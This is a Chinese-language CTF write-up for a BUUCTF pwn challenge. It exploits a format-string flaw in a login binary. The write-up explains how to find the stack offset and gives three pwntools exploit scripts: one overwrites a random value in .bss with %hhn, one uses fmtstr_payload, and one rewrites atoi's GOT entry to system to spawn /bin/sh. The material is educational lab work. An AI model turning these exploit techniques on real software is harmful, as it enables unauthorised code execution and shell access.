连接到环境,首先测试一下具体有哪些功能,是一个登录程序
checksec查看一下保护,开启了NX
和Canary
用IDA分析程序
首先生成一个随机值,然后获取我们的输入读取到buf内存空间,再将buf内存空间的值输出,继而接收一个输入读取到nptr内存,如果nptr的整型与随机值相等则获取到权限
分析之后,并未发现有溢出,不过存在格式化输出漏洞,参考文章
只需改写掉随机值,然后输入该值即可通过条件判断,改写掉栈上的值,需要知道此时的偏移是多少,可以本地调试也可以远程测试
%x是吧数据以16进制输出
%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据
格式 : %12$x 可以直接定位到地12个参数 其他%p,%s,%%n等类似
一般来说 先输入 'AAAA %08x %08x %08x %08x %08x.....'来判断我们输入首地址的偏移 (找到41414141就是AAAA)
继而就可以任意修改栈上的数据
远程测试:
本地调试:
都可以知道偏移量为10
随机值保存在bss段中,可以获取到其地址,用printf格式化输出漏洞更改掉这段地址的内容即可
exp1:
#coding=utf-8
from pwn import *
#p = process('./pwn5')
p = remote('node3.buuoj.cn',28876)
addr = 0x0804C044
#地址,也就相当于可打印字符串,共16byte
payload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10
#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
p.sendline(payload)
# 0x10101010 4 * len(p32()) = 0x10
p.sendline(str(0x10101010))
p.interactive()
exp2:
fmtstr_payload
是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
from pwn import *
proc_name = './pwn'
sh = process(proc_name)
unk_804C044 = 0x804C044
payload = fmtstr_payload(10, {unk_804C044: 0x1})
sh.sendline(payload)
sh.sendline(str(0x1))
sh.interactive()
exp3:
其它思路,利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell。
from pwn import *
p = process('./pwn5')
elf = ELF('./pwn5')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()